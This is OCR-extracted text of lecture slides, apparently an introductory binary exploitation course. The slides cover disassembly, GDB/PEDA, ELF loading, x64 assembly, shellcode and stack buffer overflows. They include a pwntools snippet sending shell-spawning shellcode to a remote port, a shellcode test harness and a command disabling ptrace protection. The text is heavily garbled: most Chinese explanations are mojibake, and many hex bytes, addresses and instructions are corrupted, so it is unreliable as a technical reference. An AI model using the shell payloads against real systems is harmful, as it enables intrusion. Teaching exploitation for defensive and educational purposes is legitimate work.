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* Reverse Engineering
* Exploitation

e Useful Tool



Reverse Engineering

binary g source code
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e Static Analysis

 Dynamic Analysis



Reverse Engineering

e Static Analysis

* Analyze program without running

¢ e.g.

® ob/dump

Machine code to asm

000000000000 13alf <main>:

13af: 55

13b0: 48 89 e5
13b3: 48 83 ec
13b7: b8 00 00
13bc: e8 57 fe
13c1: b8 00 00
13c6: e8 6¢c fr
13ch: b8 00 00
13d0: e8 90 8
13d5: 89 45 fc
13d8: 8b 45 fc
13db: 83 8 02
13de: 74 24
13e0: 83 8 02
13e3: 7Ff 07
13e5: 83 8 01
13e8: 74 Oe
13ea: eb 46
13ec: 83 8 03
13ef: 74 1f
13f1: 83 8 64
1374: 74 26
1376: eb 3a
1378: b8 00 00
13fd: eg8 35 9
1402: eb 3a
1404: b8 00 00
1409: e8 d8 fa
140e: eb 2e
1410: b8 00 00
1415: e8 62 fc

141a: eb 22

2838385
283838

push

jmp

call

call
jmp
mov
call

jmp

g]]

rbp, rsp

rsp,0x10e

eax, Ox0

1218 <init_proc>
eax, Ox0

1337 <menu>

eax, Ox0

c65 <read_int>
DWORD PTR [rbp-0x4],eax
eax, DWORD PTR [rbp-06x4]
eax, Ox2

1404 <main+0x55>
eax, Ox2

13ec <main+0x3d>
eax, 0x1

138 <main+0x49>
1432 <main+0x83>
eax, 0x3

1410 <main+Ox61>
eax, 0x4

141c <main+Ox6d>
1432 <main+0x83>
eax, Ox0

d37 <build>

143e <main+Ox8f>
eax, Ox0

eeb <see>

143e <main+Ox8f>
eax, Ox0

107c <upgrade>
143e <main+Ox8f>



Reverse Engineering

 Dynamic Analysis
* Analyze program with running

¢ e.g.

angelboy@ubuntu:~$ ltrace id

libc_start_main(0x40l1acO, 1, Ox7ffcf6fdd668, 0x406150 <unfinished ...

is_selinux_enabled(1, Ox7ffcf6fdd668, Ox7ffcf6fdd678, 0)
strrchr("id", '/")
setlocale(LC_ALL, "")
‘ St ra Ce bindtextdomain("coreutils”, "/usr/share/locale")

textdomain("coreutils")
_Cxa_atexit(0x402cfo, 6, 0, 0)
getopt_long(1, Ox7ffcf6fdd668, "agnruzGzZ", Ox406a60, nil)
getenv("POSIXLY_CORRECT")
—errno_location()
geteuid()

» trace all system call —_errmo_location()
—errno_location()
getegid()
getgid()
dcgettext(0, Ox4063ab, 5, 0x609340)
_printf_chk(1, 0x4063ab, 0x609340, 0)

® I tr ace getpwuid(1000, 8, Ox7f5022dc1780, OX7TFffff7)

printf_chk(1, 0x40639c, 0x1f19860, Ox7ffcf6fdd4a0)
dcgettext(0, Ox4063al, 5, 0x609320)
printf_chk(1l, 0x4063al, 0x609320, 0)
getgrgid(1600, 9, Ox7f5022dc1780, OX7Tfffff6)

printf_chk(1, 0x40639c, Ox1ficb60, Ox7ffcf6fdd4a0)
aetaronsif. O. Ox7Ffofefddsa4n. Ox7FFFFFF&e)

* trace all library call



Exploitation

Vulnerability g Control flow

» FAIREREZENINEZS B

» —AREREEHRIERBISIZETVIEH %

e YiH Pwn



Exploitation

Vulnerability g Control flow

e Binary exploitation

» 51584 binary 1HERYIRIET]

* MIARENM

o TRHNIEME

e Remote code execution
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Useful Tool

* |IDA PRO - a static analysis tool

a— - 0 2 J — L iy ? L] == =3
.

Library function Data Regular function Unexplored Instruoction External symbol
| Functions window 0O & X D DA == D Pseudo- 3 3 Locasss E] Hex.==s E Stpees LJ Eees

e - 1jint cdecl main{int a1, char x%32)

?

F| additem ‘:.{ ot uns s

i create_recipe nt v2;

3 oNA -~

F| sub_80495D6 tomrcetain. o 2. -

| recipe 5| setubuf{stdout, B8, 2, 8);
sub_8049762 °l 3
X 7liF (a1 > 1)

{

cC C

= atoi(az[1]);
alarm{v2);

c

?

gename();
msg();
initfunc();
mainmenu();
sub_8B49BED();
fuck();

return 0;
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main

init
eS520f71 000023B4 main:1
Output window

I4DOSC: using guessed type int dword_864DOSC;
Python |
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Useful Tool

(gdb) disas main
Dump of assembler code for function main:

GDB - a dynamic analysis tool

The GNU Project Debugger

0x0000000000400626 <+0>: push  %rbp
0x0000000000400627 <+1>: mov %rsp,%rbp
0x000000000040062a <+4>: sub $0x30,%rsp
0x000000000040062e <+8>: mov %fs:0x28,%rax

Ox0000000000400637 <+17>: mov %rax,-0x8(%rbp)
0x000000000040063b <+21>: xor %eax , ¥eax
0x000000000040063d <+23>: mov $0x400724 ,%esi
0x0000000000400642 <+28>: mov $0x400726 ,%edi

=> Ox0000000000400647 <+33>: callg ©0x400510 <fopen@plt>
Ox000000000040064C <+38>: mov %rax,-0x28(%rbp)
0x0000000000400650 <+42>: mov -0x28(%rbp) ,%rdx
0x0000000000400654 <+46>: lea -0x20(%rbp) ,%rax
0x0000000000400658 <+50>: mov %rdx,%¥rcx
0x000000000040065b <+53>: mov $0x1,%edx
0x0000000000400660 <+58>: mov $0x14 ,%esi
0x0000000000400665 <+63>: mov %rax,¥rdi
0x0000000000400668 <+66>: callg Ox4004e@ <fread@plt>
0x000000000040066d <+71>: lea -0x20(%rbp) ,%rax
0x0000000000400671 <+75>: mov %rax,¥rdi
0x0000000000400674 <+78>: callqg Ox4004d0 <puts@plt>
0x0000000000400679 <+83>: mov $0x0,%eax
Ox000000000040067e <+88>: mov -0x8(%rbp) ,%¥rcx
0x0000000000400682 <+92>: xor %fs:0x28,%rcx

0x000000000040068b <+101>: je 0x400692 <main+108>
0x000000000040068d <+103>: callg ©Ox4004f0 <__stack_chk_fail@plt>
0x0000000000400692 <+108>: leaveq
0x0000000000400693 <+109>: retq

19 End of assembler dump.

(gdb)




Useful Tool

Basic command
* run - #H17T

 disas function name - & ZB:EE 1@ function

e break *0x400566 - :5ErEL

» info breakpoint - B 2 5% E M LE P ET RS

e info register EFFA register AR

13



Useful Tool

Basic command

e x/Wx address - && address FHIASR

« w AJ#ARY b/h/g 7 BlIIZHX 1/2/8 byte

o /BT R —RI LR

o T {E x AR u/d/s/i ARE AR

* U :unsigned int

e d: 10 N

e 5 FE
TSN
c i11E6%
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Useful Tool

e Basic command

« X/gx address EF& address FEIAR

¢ e.g.

gdb-peda$ x/gx 0x601030
0x601030: 0x0000000000400506

15



Useful Tool

Basic command
e Nl - next instruction

e S| - step into

» backtrace - 8/~ @A stack frame BYEEH

e continue

10



Useful Tool

e Basic command

» set "address=value
7% address FHY{EERAX value —2REx 4 byte
« BJ#F * #aR% {char/short/long} D BIERE 1/2/8 byte
¢ e.g.
» set "0x602040=0xdeadbeef

* set {int}0x602040=1337

17



Useful Tool

e Basic command

e £AH debug symbol F

e |ist: %l|H source code

o b P EEF(THRETES
e info local : ¥l K &3 &84

 print val : &2 val BYE

18



Useful Tool

e Basic command

o attach pid : attach —1{@E1F7£3E1THY process

« AIPAECE ncat 4T exploit Y debug
* ncat -ve ./a.out -kl 8888

 echo 0 > /proc/sys/kernel/yama/ptrace_scope

19



Useful Tool

 GDB - PEDA

 Python Exploit Development Assistance for GDB

e https://qgithub.com/longld/peda

e https://qithub.com/scwuaptx/peda

20
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e Screenshot

GDB - PEDA

Source

1 #include <stdio.h>

2 int main(){
=> 3 puts("hello world");

4}

Registers

RAX: 0x400536 (<main>: push rbp)
RBX: Ox0O
RCX: Ox0O
RDX: -e> ("XDG_SESSION_ID=3")
RSI: --> ("/home/angelboy/test™)
RDI: Ox4005d4 ("hello world")
RBP: -=> Ox400550 (<__libc_csu_init>: push ri5)
RSP: -=> 0x400550 (<__libc_csu_init>: push ri5)
RIP: 0x400537 (<main+9>: call 0x400410 <puts@plt>)
R8 : -=> Ox4
RO : Ox77fff7de9a20 (<_dl_fini>: push rbp)
R10: Ox833
R11: Ox7TTff7a2r950 (<__libc_start_main>: push ri4)
R12: 0x400440 (<_start>: xor ebp, ebp)
R13: -=> 0x1
R14: Ox0O
R15: Ox0

EFLAGS: Ox246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)

Code

Ox400536 <main>: push rbp
0x400537 <main+l1>: mov rbp, rsp
Ox40053a <main+4>: mov edi, Ox4005d4
=> Ox40053f <main+9>: call ©0x400410 <puts@plt>
0x400544 <main+14>: mov eax, Ox0
0x400549 <main+19>: pop g]]
0x40054a <main+20>:
0x40054b: nop DWORD PTR [rax+rax*1+0x0]
Guessed arguments:
arg[0]: 0x4005d4 ("hello world")

Stack
0000 | -=> 0x400550 (<__libc_csu_init>: push ri5)
0008 | -=> O7TTIf7a2fad0 (<__libc_start_main+240>: mov edi, eax)
0016 e -e> ("/home/angelboy/test")
0024 | --> --> ("/home/angelboy/test")
0032| --> Ox100000000
0040 -=> Ox400536 (<main>: push rbp)
0048 | --> Ox0
0056 | --> Ox304600a17c7b5010
Legend: code, , rodata, heap, value
Ox00BBBO000040053F K} puts("hello world");
gdb-peda$ |}

21



GDB - PEDA

 Some useful feature
* checksec : Check for various security options of binary
e elfsymbol : show elf .plt section
e vmmap : show memory mapping
* readelf : Get headers information from an ELF file
* find/searchmem : Search for a pattern in memory

* record : record every instruction at runtime

22



GDB - PEDA

e checksec

» BF binary RAEMLERER

gdb-pedas checksec
CANARY :

FORTIFY :

NX : ENABLED
PIE :

RELRO : Partial

. . ™

23



GDB - PEDA

e elfsymbol

o BZE function .plt {f ROP IFIFEEE

NG . I AT L ATNAL

gdb-peda$ elfsymbol

Found 9 symbols

puts@plt = 0x4005e0
printT@plt = Ox40057T0
read@plt = Ox400600
Aibc_start_main@plt = O0x400610
—gmon_start__@plt = Ox400620
malloc@plt = Ox400630
setvbuf@plt = Ox400640
atoli@plt = Ox400650

exit@plt = Gx400660

— s e o N

24



¢ Vvmmap

GDB - PEDA

« &HZE process mapping

o DJERZXEIE1E address FHIME

gdb-peda$ vmmap
Start

Ox004006000
Ox00600000
Ox00601600
OX0RRO7TTT7a0Too0
OX0eRO7FFTT7bcTOO0
OX0eRO7TFFTT7dcToo0
OXx0eeO7FFTT7dd3000
Ox00e07FFTT7dd5000
OXx0eO7 T T7ddoooe
OX0EO7FFTT7Tdoeeo
OX0EO7FFIF7TF6000
OX0RO7FFT 78000
OX0EO7FFIT7Tfato0
OX0RO7FFTT7TfcOB0
OX0EO7FFTT7Tfdeee
OXOEO7FFIT7TfeGO0
OX0RO7 T ITdedGBO
OXFrFrrrrrrreooe00

End

Ox00401000
Ox00601000
Ox00602000
OXOORO7FFTT7bcTOO0
OXOPEO7FFFT7dcToo0
OXOREO7TFFIT7dd3000
X007 7dd5000
OXOEO7FFTT7ddooo0
OXOORO7TFFIT7dfdooo
OXOORO7FFIT7fd3000
OXOORO7FFFF7FFr8o00
OXOORO7FFIT7frateo
OXOORO7FFFT7FfcOe0
OXOORO7FFIT7FFdooo
OXOORO7FFIT7ffeO0
OXOORO7FFFF7FFroee
OXOREO7FFIFFIrfrooee
OXFFFIrrrrrreo1000

r--p

23

-
'
X

733

-
' '
X

273

'
TTOTTVTTVTTVTTVTTUVTTVTTOVTTOOO

-
'
x

N
O

Name
/home/angelboy/ds/test
/home/angelboy/ds/test
/home/angelboy/ds/test
/1ib/x86_64-1linux-gnu/libc-
/1ib/x86_64-1inux-gnu/libc-
/11ib/x86_64-1inux-gnu/libc-
/1ib/x86_64-1linux-gnu/libc-
mapped
/1ib/x86_64-1linux-gnu/ld-2.
mapped

mapped

[vvar]

[vdso]
/11ib/x86_64-1inux-gnu/ld-2
/1ib/x86_64-1linux-gnu/ld-
mapped

[stack]

[vsyscall]

21.
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GDB - PEDA

readelf

BE section ([ B

° ﬁ”zblﬁsjn / %%’%E

e e.g. ret2dl_resolve

20

gdb-peda$ readelf

JAnterp = 0x400238

.note.ABI-tag = 0x400254
.note.gnu.build-id = Ox400274
.gnu.hash = 0x4600298
.dynsym = 0x4002c0
.dynstr = 0x4003e0
.gnu.version = 0x400450
.gnu.version_r = 0x400468
.rela.dyn = 0x400488
.rela.plt = 0x4004d0
.Anit = Ox4005a8

.plt = Bx4005d0

.text = Ox400670

.fini = Ox4009064

.rodata = 0x400910
.eh_frame_hdr = 0x40091c
.eh_frame = 0x400958
Anit_array = 0x600e10
.fini_array = 0x600e18
.jcr = 0x600e20

.dynamic = Ox600e28

.got = Ox600TT8

.got.plt = Ox601060
.data = Ox601060

.bDss = Ox601070



GDB - PEDA

e find (alias searchmem)
e search memory FfY patten
« BEERIKTFH
e e.g./bin/sh

gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges

Found 1 results, display max 1 items:
1libc : Ox7TTTT7b9b39d --> Ox68732176e69622f7 ('/bin/sh')

— s e e B

27



GDB - PEDA

e record

» FCEXEHE instruction :E gdb FI[EIPARIEIRYIES » £ PC K& 1& » rIAl
FEZINEE » B EIRANZ AL BRI S

28



Useful Tool

 Pwntools
 Exploit development library

 python

from pwn import *
context( = "1386", = "linux')

r = remote( 'exploitme.example.com’, 31337)

r.send(asm(shellcraft.sh()))
r.interactive()

29



e Sysm4gic

» %I/ debugger ¥£EX flag

30



Outline

e Section



Section

o F—iRIEN FREIVIBZ AL text ~ data LA bss ZF section » WA=
code IE data ;R —#E{E "

32



Section

o text

« {FHX code HY section

e data

» FIBEEERNZIEEE

e bss

» FRUKBHIEERNZIEN

e rodata

o {FHAMES

= RIS section

)Il]]EH

33



Section

34



Execution

 Binary Format
¢ Segment

e Execution Flow

35



Binary Format

s HITIEAISNERIE OS A[E - mMAMAE

e Linux - ELF

 Windows - PE

» 7£ Binary B9FEE=Z A {E magic number ##1iL

ERAAEIE R

e 7F Linux FRILAMEFE file 345457

36

F{E:Z OS )

. W
iy B
A/t AE

B



Segment

s ERENHITIREIZTERNER » BERLERIE

{& segment

llp

BERHITIER AT IER 7 AL

o —i%3KRERP] D A rodata ~ data ~ code ~ stack * heap & segment
e data: rw-
* code: r-x
e stack : rw-

e heap : rw-

37



Execution Flow

 What happened when we execute an elf file ?

e $./hello

s E—RIBERTRENETE disk B » 1 kernel EEB—EFHNBIEZRKIGIEN
mapping 2lEEIEiEFEHIT

33



Execution Flow




' W
Execution Flo




Execution Flow

 How program maps to virtual memory.

e £ program header H

o FCEREMPLE segment [EsZ mapping BB » DAKEZ segment BVEER

1T

B

o« SOERMPLE section BHAMILE segment

e & program mapping ;o= 5=k

« —fE

segment A A EIE 0 1

HEES

41

TEIRBERAVAE R D B AL (B

il section

i segment




Execution Flow

 How program maps to virtual memory.

In disk In memory

other section

Ox7ftfffife520
.data
RW .bss
.got.plt
.rodata
text E 0x602000
R orRX - E 0x601000
. X

esssssssssss ~ 0X400000
42



Execution Flow

How program maps to virtual memory.
e readelf -| binary
« &BZF program header
e readelf -S binary
« &TEF section header
e readelf -d binary

=T

» && dynamic section AF

43



Execution Flow

angelboy@angelboy-adl:~$ readelf -1 hello

E1f file type is EXEC (Executable file)

Entry point 0x80648350

 How program maps to virtual memory.

There are 9 program headers, starting at offset 52

Program Headers: I1FIE!|GD[)IIHISJ ‘[.LjEEi

PhysAddr

PHDR 0x000034 0x68048634 §
[Requesting program
LOAD OxO00OOE OxX08048000 £
LOAD Ox000T08 Ox08049T08 ¥
DYNAMIC Ox000T14 Ox08049T14 ¥
NOTE Ox00016§ Ox08048168 #
GNU_EH_FRAME 0Ox00051¢ N
GNU_STACK OXx00000¢C 0XxOGOOBBE0 3

GNU_RELRO Ox000T0g §

Section to Segment mappingf R

OXx0011c OX00F

Ox000e8 Ox00Fes
Ox00044 OxOBH44

Ox0002c OXOOH
Ox0OO0O0 excci
OX000T8 OXO0H

o1 § .Anterp
02 .Anterp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gn

TR ) .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_fr

ame mj .eh_frame

03 %

04 ¥ .dynamic

05

06 .eh_frame_hdr

07 3 ,

08 A :'ﬁ- ;- f«,v' V' X i""‘[ avr

.note.ABI-tag .note.gnu.build-id

.Anit_array .fini_array .jcr .dynamic .got .got.plt .data .bss

segment FHMLE section

— = = - S ) \ — = e -
X - \

= R - V. N N
o g~ e a N o e



Execution Flow

e |d.soO

o & A elf FTEEHY shared library

e IR DECFRTE elf Ry DT _NEED HA

» #)%a1E GOT

» EtHEI«DIRERVUENTE

K K

e ex : 18 symbol table §1#Z%l global symbol table 35

o HEMRE/FBEFEEAIZRZE elf/rtld.c

45


http://osxr.org/glibc/source/elf/rtld.c

Execution Flow

o 7% Id.so #1755 kR _start HIgHITEERZN

O
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Execution Flow

e start

e B FIIEHESS libc start main

XL 4=4

o IRIREEFEIRIUE -

« main NI E [BRE

hU‘di
B
W
=

e _init
o [F0Y main ZBIAI#IIR{ET{E _

e _fini

» ENGRAINWELE

|

47



Execution Flow

e |ibc start main

* HAT .init
e H1T main
o« FEINED
o #17 .fini
o HIT exit ERIE

48



X64 assembly

 Registers
 General-purpose registers
« RAX RBX RCX RDX RSI RDI- 64 bit
« EAX EBX ECX EDX ESI EDI - 32 bit

« AXBXCXDXSIDI - 16 bit

AL



X64 assembly

 Registers
e r8r9r10r11r12r13r14r15 - 64 bit
e r8d r9d r10d ... - 32 bit
e r8w rOw r10w ... -16 bit

e r8br9br10b ... - 8 bit

50



X64 assembly

* Registers
o Stack Pointer Register
e RSP
 Base Pointer Register
« RBP
* Program Counter Register

 RIP

51



X64 assembly

* Registers .
high

o Stack Pointer

* RSP - 64 bit

» }5[0) stack JHIR rbp

=

e Base Pointer

rsp
 RBP - 64 bit

o }5[0] stack [Kif

low

RSP %l function 28 &5 & A% function HY Stack Frame

it

52



X64 assembly

* Registers high

o Stack Pointer

stack frame
e RSP - 64 bit

» }5[0) stack JHIR rbp

=

e Base Pointer

rsp
 RBP - 64 bit

o }5[0] stack [Kif

low

RSP %l function 28 &5 & A% function HY Stack Frame

it

53



X64 assembly

* Registers
* Program counter register

* RIP

* M BRIRENFITHNE

* Flag register

» eflags

s EFREIHITER
 Segment register

e csssdsesfsgs

54



X64 assembly

e AT&T
e mov %rax,%rbx
e |ntel

e MoV rbx,rax

50



X64 assembly

e Basic instruction

* MoV
e add/sub

* and/or/xor
e push/pop
* |ea

* imp/call/ret

56



X64 assembly

mov
 mov imm/reg/mem value to reg/mem

« mov A,B (move B to A)

¢ AHlB R size EES

* ex:
* mov rax,rbx (o)
* mov rax,bx (x)
e mov rax,0xdeadbeef

o57



X64 assembly

e add/sub/or/xor/and
* add/sub/or/xor/and reg,imm/reg

e add/sub/or/xor/and A,B

+ AElB /] size —1xEBE

* ex:
* add rbp,0x48

e sub rax,rbx

538



X64 assembly

e push/pop
e push/pop reg
* ex:
e push rax = sub rsp,8 ; mov [rsp],rax

e pop rbx = mov rbx,|rsp] ; add rsp,8

59



X64 assembly

e |ea

* eX.

e |earax, [rsp+8]



X64 assembly

e leaVv.s. mov
lea
e |earax, [rsp+8] v.s mov rax,|[rsp+8]
e assume
e rax =3

e rsp+8 = Ox7fffffffedcO mov

e [rsp+8] = Oxdeadbeef

01



X64 assembly

e mp/call/ret
e mp EEREREIVIENEEEHIT

e call rax = push F—1T{5<{E ;jmp rax

e ret = poprip

62



X64 assembly

e |eave

e MOV rsp,rbp

* pop rbp



X64 assembly

* NOP

o —{i& byte AM{EOZE

e opcode = 0x90

o4



X64 assembly

e System call
e Instruction : syscall
« SYSCALL NUMBER: RAX
* Argument : RDI RSI RDX R10 R8 R9

e Return value : RAX

65



 system call table

X64 assembly

 https://w3challs.com/syscalls/?arch=x86 64

Show 10 k4 entries

Name

read
write
open

close

stat
fstat

Istat

poll

Iseek
mmap

mprotect
munmap

brk

rt_sigaction
rt_sigprocmask
rt_sigreturn
ioctl

pread64

rdi
unsigned int fd
unsigned int fd
const char *filename

unsigned int fd

const char *filename

unsigned int fd

const char *filename

struct pollfd *ufds

unsigned int fd
unsigned long addr

unsigned long start
unsigned long addr
unsigned long brk
nt sig

int how

unsigned int fd

char *buf size_t count

char *buf
const char *buf
int flags

struct _ old_kernel_stat
*statbuf

struct __old_kernel_stat
*statbuf

struct __old_kernel_stat
*statbuf

unsigned int nfds

off_t offset

unsigned long len

size_t len

size_t len

const struct sigaction *act
sigset_t *nset

unsigned int cmd

loff_t pos

Registers
rdx
size_t count
size_t count

umode_t mode

nt timeout_msecs

unsigned int origin
unsigned long prot

unsigned long prot

struct sigaction *oact
sigset_t *oset

unsigned long arg



https://w3challs.com/syscalls/?arch=x86_64
https://w3challs.com/syscalls/?arch=x86_64

X64 assembly

* Calling convention
e function call
* call : push return address to stack then jump
e function return
e ret : pop return address

e function argument

o EK _F register ik

e IXFA rdirsirdx rex r8r9

o {xFHXZl register » BE# 1T function call

6/



X64 assembly

e Calling convention

* function prologue

 compiler £ function FIENIINIES » EE2EIRTF rbp DlcE B EEA
e 2E ]

push rbp

mov rbp,rsp
sub rsp,0x30
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X64 assembly

e Calling convention

* function epilogue

-~

» compiler £ function ZEEIVIES » FEEFBEFA rbp %1€ call
function BFHY stack ARRE

leave
ret
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X64 assembly

e Calling convention

e call foo(0x1337,0xdeadbee)

Stack

high

rbp

rdi

0x1000 mov rsi,Oxdeadbee rsp
0x100a mov rdi,0x1337

0x1014 call foo()

0x101d mov rbx,rax i
Ir'Si

foo() :
push rbp
mov rbp,rsp

leave
ret

low




X64 assembly

e Calling convention

e call foo(0x1337,0xdeadbee)

Stack

high

rbp

rdi

O0x1000 mov rsi,Oxdeadbee rsp
0x100a mov rdi,0x1337

0x1014 call foo()

0x101d mov rbx,rax i
Ir'Si

foo() :
push rbp
mov rbp,rsp

leave
ret

low




X64 assembly

e Calling convention

e call foo(0x1337,0xdeadbee)

Stack

high

rbp

rdi

O0x1000 mov rsi,Oxdeadbee rsp
0x100a mov rdi,0x1337

0x1014 call foo()

0x101d mov rbx,rax i
Ir'Si

foo() :
push rbp
mov rbp,rsp

leave
ret

low




X64 assembly

e Calling convention

e call foo(0x1337,0xdeadbee)

Stack

high

rbp
rdi

0x1000 mov rsi,0xdeadbee
0x100a mov rdi,0x1337

rsp

0x1014 call foo()

0x101d mov rbx,rax i
Ir'Si

foo() :
push rbp
mov rbp,rsp

leave
ret

low




X64 assembly

e Calling convention

e call foo(0x1337,0xdeadbee)

Stack
high
rbp 9
0x1000 mov rsi,0xdeadbee rdi
0x100a mov rdi,0x1337
0x1014 call fool)
0x101d mov rbx,rax rsp

rsi

foo() :
push rbp
mov rbp,rsp

leave
ret

low




X64 assembly

e Calling convention

e call foo(0x1337,0xdeadbee)

Stack

high

rdi

0x1000 mov rsi,0xdeadbee
0x100a mov rdi,0x1337

0x1014 call fool)
Ox101d mov rbx,rax rbp/rsp

rsi

foo() :
push rbp
mov rbp,rsp

leave
ret

low




X64 assembly

e Calling convention

e call foo(0x1337,0xdeadbee)

Stack

high
0x1000 mov rsi,0xdeadbee rdi
0x100a mov rdi,0x1337

O0x1014 call fool)
0x101d mov rbx,rax rbp

rsi

foo() : rsp

push rbp
mov rbp,rsp

leave
ret

low




X64 assembly

e Calling convention

e call foo(0x1337,0xdeadbee)

Stack
high
0x1000 mov rsi,0xdeadbee
0x100a mov rdi,0x1337 rdi
0x1014 call fool)
Ox101d mov rbx,rax
rbp rsi
push rbp rsp

mov rbp,rsp

mov rsp,rbp

pop rbp
ret

low



X64 assembly

e Calling convention

e call foo(0x1337,0xdeadbee)

Stack

high

0x1000 mov rsi,0xdeadbee

0x100a mov rdi,0x1337
0x1014 call foo()
Ox101d mov rbx,rax

rdi

Irb .
rSp/Top rsi

push rbp
mov rbp,rsp

mov rsp,rbp

pop rbp
ret

low



X64 assembly

e Calling convention

e call foo(0x1337,0xdeadbee)

Stack
high
0x1000 mov rsi,0xdeadbee rbp
0x100a mov rdi,0x1337 rdi
0x1014 call fool)
0x101d mov rbx,rax r'sp

rsi

push rbp
mov rbp,rsp

mov rsp,rbp

pop rbp
ret

low



X64 assembly

e Calling convention

e call foo(0x1337,0xdeadbee)

Stack

high

0x1000 mov rsi,0xdeadbee rbp

0x100a mov rdi,0x1337 rsp
O0x1014 call foo()
Ox101d mov rbx,rax

rdi

rsi

push rbp
mov rbp,rsp

mov rsp,rbp

pop rbp
ret

low



X64 assembly

1 (llobal _start

2
3 section .text
4 _start :
e Hello world 5 XOr rax,rax
6 Xor rbx, rbx
7 XOr rcx,rcx
8 ,rd
 nasm -felf64 hello.s -o hello.o 5  tm re e rox
10 write :
11 mov rax,
* |d -m elf_x86_64 hello.o -o hello 12 inc rdi
13 pop rsi
14 mov rdx, 1.
15 syscall
16
17 mov rax,
18 syscall
55 str :
21 call write
22 db 'Hello world’,
23

81



X64 assembly

 Shellcode

e BERESE > WEFETXTEIAREZENIGZINBINAZEER shell » #FF shellcode

e H—Z%%IBJ machine code ZHEY » Bx1& H BV P BT o] N EZ TEMBVSE

82



X64 assembly

* Hello world shellcode »000000000400080. < <barts

400080 48 31 cO xor rax, rax

400083 : 48 31 db xor rbx, rbx

400086 : 48 31 ¢9 xor rcx, rex

400089 48 31 d2 xor rdx, rdx

40008 . eb 17 Jjmp 4000a5 <str>
0000000000400¢ 8e <write>:

40008e: b8 01 00 00 00 mov eax,Ox1l

400093 : 48 ff c7 inc rdi

400096 Se pop rsi

400097 : ba Oc 00 00 00 mov edx,@xc

49009 . of 05 syscall

40009%e . b8 3c 00 00 00 mov eax,dx3c

4000a3 . of 05 syscall
0000000000400¢a5 <str>:

4000a5 . e8 e4 ff ff ff call 40008e <write>

4000aa: 68 65 6¢c 6¢c 6f push Ox6f6c6c65

4000af : 20 77 6f and BYTE PTR [rdi+@x6f],dh

4000b2 : 72 6¢C jb 400120 <str+0x7b>

4000b4 . 64 fs

shellcode[] = “\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\xeb\x17....... \x7x\x6¢c\x64”
33



X64 assembly

e ZE4 shellcode

e objcopy -0 binary hello.bin shellcode.bin

e xXd -I shellcode.bin

34



X64 assembly

e Using Pwntool

e http://docs.pwntools.com/en/stable/asm.html

e Pwntool binutils

e http://docs.pwntools.com/en/stable/install/binutils.html
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http://docs.pwntools.com/en/stable/asm.html
http://docs.pwntools.com/en/stable/install/binutils.html

X64 assembly

° pwnasm 1 #!/usr/bin/env python

2 # -*- coding: utf-8 -*-
3 from pwn import *

4

5 context.arch = "amd64”
6 s=asm("""

7 Xor rax,rax
8 xor rdi,rdi
9 xor rsi,rsi
10 xor rdx,rdx
11 jmp getstr
12 write :

13 pop rsi

14 mov rax,l
15 mov rdi,l1

16 mov rdx,12
17 syscall

18

19 mov rax,@x3c

20 syscall

al

22 getstr :

23 call write

24 ] .ascii "hello world"
25 .byte 0

26 """)

36



X64 assembly

e Jest your shellcode

® (gcc -z execstack test.c -o test

1 ﬁinclude

2
3 char shellcode[] = "\xeb\x19\x59\xb8\x84\x00\x00\x00\xbb\x01\x00\x00\x00\xba\x0c\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xcd\x8

6 int main(){

7 void (*fptr)() = shellcode;
8 fptr();

9}
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X64 assembly

 How to debug your shellcode

® gdb ./test

LIS
EAX: Oxfffffffe
EBX: 0Ox ("/home/shellcode/flag")
EDX: --> Ox0
ESI: --> Ox1b1db®
EDI: --> Ox1bidbo
EBP: --> Ox0
ESP: --> Ox80483T3 (<main+24>: mov eax, Ox0)
EIP: --> Ox3b0c389
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
Code
Ox804a045 <shellcode+5>: mov al, Ox5
Ox804a049 <shellcode+9>: int Ox80
=> Ox804a04b <shellcode+11>: mov ebx, eax
Ox804a04f <shellcode+15>: mov ecx, esp
Ox804a051 <shellcode+17>: mov dl, Ox30
Ox804a053 <shellcode+19>: int Ox80
Cdanl
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Practice

e Orwo4
e open/read/write shellcode

e man 2 “system call”

89



Buffer Overflow

Buffer Overflow

Return to Text / Shellcode
Protection

Lazy binding

Return to Library

Return-Oriented Programming

90



Buffer Overflow

o IEIVERETEIARE] buffer I RERE » S A ZENEZFRABRNFS » &
=ioBERE LNEMER » BREREEHREIVRE

o {{xBR buffer (U B P D&

e stack base
» Y1874 stack smashing

e data base

 heap base
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Buffer Overflow

3 void 133tOf
| puts( )3
system( );

int main(){
char buf[ 15
setvbuf( ,0,2,0);
puts( );
printf( ); |
read(?,buf, 100);

92



Buffer Overflow

* Vulnerable Function
e gets
e scanf
e strcpy
e sprintf
* memcpy

e strcat

93



Stack Overflow

e memory layout high

rbp/rsp

char buf[0x20]
read(0,buf,100)

leave
ret

low
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Stack Overflow

e memory layout high

rbp/rsp

char buf[0x20]
read(0,buf,100)

leave
ret

low
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Stack Overflow

e memory layout high
rbp
Y -
char buf[0x20] bp
read(0,buf,100)
leave :
ret i buf[0x20]

rsp <

low
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Stack Overflow

e memory layout high

aaaaaaaa (rbp)

rb T
char buf[0x20] P
read(0,buf,100)
leave :
ret : buf[0x20]
rsp <
low
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Stack Overflow

e memory layout high

aaaaaaaa (rbp)

char buf[0x20] rbp B
read(0,buf,100)
mov rsp,rbp
pop rbp buf[0x20]
ret
rsp .
low

08



Stack Overflow

e memory layout high

aaaaaaaa (rbp)

char buf[0x20] rbp/rsp T
read(0,buf,100)
mov rsp,rbp
Pop rbp . buf[0x20)
ret
low
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Stack Overflow

e memory layout high

N | e

aaaaaaaa (rbp)

char buf[0x20] H
read(0,buf,100)
mov rsp,rbp
pop rbp buf[0x20]
ret
low
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Stack Overflow

e memory layout high




Stack Overflow

A
WAA AL

il 'UULW,WI 'U\a-hw, RN 7 RTINSO » F NNTRAT IOy s F NN wa,

Buffer overflow 1is easy
Read ot — raaaadaaaaatasadapddadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaas

nirsef aaaaaaaaaaaaaaaaaaa
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Stack Overflow

o 'fﬁﬁq gdb gﬁg | R14: 0x0

R15: Ox0
EFLAGS: 0x10207 (CARRY PARITY adjust zero sign trap INTERRL

Ox4006b1l <main+80>:
